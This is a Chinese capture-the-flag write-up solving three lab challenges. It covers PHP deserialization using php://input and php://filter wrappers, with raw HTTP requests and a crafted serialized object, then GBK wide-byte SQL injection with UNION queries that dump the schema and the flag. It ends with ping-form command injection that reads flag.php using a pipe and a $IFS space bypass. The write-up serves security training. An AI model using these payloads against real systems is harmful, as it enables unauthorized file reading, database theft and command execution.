一、反序列化
1.打开靶场,首页:
回显内容:
you are not admin !
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){
echo "hello admin!<br>";
include($file); //class.php
}else{
echo "you are not admin ! ";
}
-->
2.从这段注释的代码可以看出要传递user、file、pass三个参数,且需要突破限制:
if(isset(KaTeX parse error: Expected 'EOF', got '&' at position 6: user)&̲&(file_get_cont…user,'r')===“the user is admin”))
也就是说要让user变量等于the user is admin,且验证成功后进行包含$file = class.php;
3.利用php伪协议php://input突破限制,构造post数据包:
POST /?user=php://input&flie=class.php HTTP/1.1
Host: 192.168.1.1:56782
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 17
the user is admin
成功突破:
4.由于class.php文件路径未知,所以用php的另一个封装协议php://filter进行读取index.php文件
POST /?user=php://input&file=php://filter/convert.base64-encode/resource=class.php HTTP/1.1
Host: 192.168.1.1:56782
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 17
the user is admin
回显内容:
PD9waHAKCmNsYXNzIFJlYWR7Ly9mMWFnLnBocAogICAgcHVibGljICRmaWxlOwogICAgcHVibGljIGZ1bmN0aW9uIF9fdG9TdHJpbmcoKXsKICAgICAgICBpZihpc3NldCgkdGhpcy0+ZmlsZSkpewogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICJfX3RvU3RyaW5nIHdhcyBjYWxsZWQhIjsKICAgIH0KfQo/Pgo=
解码后:
class Read{//flag.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}
这里__toString()魔术方法被调用,由于未对用户输入的序列化字符串进行检测,从而形成了反序列漏洞,具体参考:php反序列化漏洞说明。构建反序列化参数读取f1ag.php文件,具体数据包如下:
POST /?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1ag.php";} HTTP/1.1
Host: 192.168.1.1:56782
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 17
the user is admin
继续解码得到flag:
二、注入
直接访问:http://40.x.x.x:3036/sql1.php
直接访问sql1.php发现是乱码的,加上本身题目给的提示id,猜测这里可能是宽字节注入。直接:
http://40.x.x.x:3036/sql1.php?id=%df'
回显报错,宽字节成功绕过转义限制。
宽字节注入原理:
在GBK编码时,mysql会认为两个字符是一个汉字(在前一个字节的ascii码大于128的情况下),而经过转义之后的单引号’会变为’,即%5c%27。构造id=1%df%27%23 ,在经过转义传递给mysql时,就是id=1%df%5c%27%23,mysql在解析时,会认为%df%5c是一个汉字,而%27就会闭合掉原本sql语句中的(左)单引号,即select xxx from xxx where id='%df%5c'#',%23用于注释掉原本sql语句中的(右)单引号。这就是宽字节注入的原理。
# 构造:
id=1%df%27union select...%23
接下来常规操作,数据库:
sql1.php?id=%df%27 union select 1,database()%23
表:
sql1.php?id=%df%27union select 1,group_concat(table_name)from information_schema.tables where table_schema=database()%23
字段:
sql1.php?id=%df%27union select 1,group_concat(column_name)from information_schema.columns where table_name=%23
flag:
sql1.php?id=%df%27union select 1,hex(group_concat(thisisflag)) from flag%23
得到的flag:
三、命令执行
1、从数据包上来看可以猜测出ip这里存在命令执行,有一点过滤,不过过滤不完全,ip=127.0.0.1|ls&submit=PING即可成功(猜测这里代码过滤多半是跟dvwa的命令执行写法一样 ('|'=> ''),由于后面多了个空格,导致可以突破),构建post提交ip=127.0.0.1|ls&submit=PING即可看到flag.php
2、然后在通过ip=127.0.0.1|pwd&submit=PING得出路径为/var/www/html
3、然后直接读取即可,发现对空格存在过滤,利用$IFS替代空格绕过
payload:
ip=127.0.0.1|cat$IFS/var/www/html/flag.php&submit=PING
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论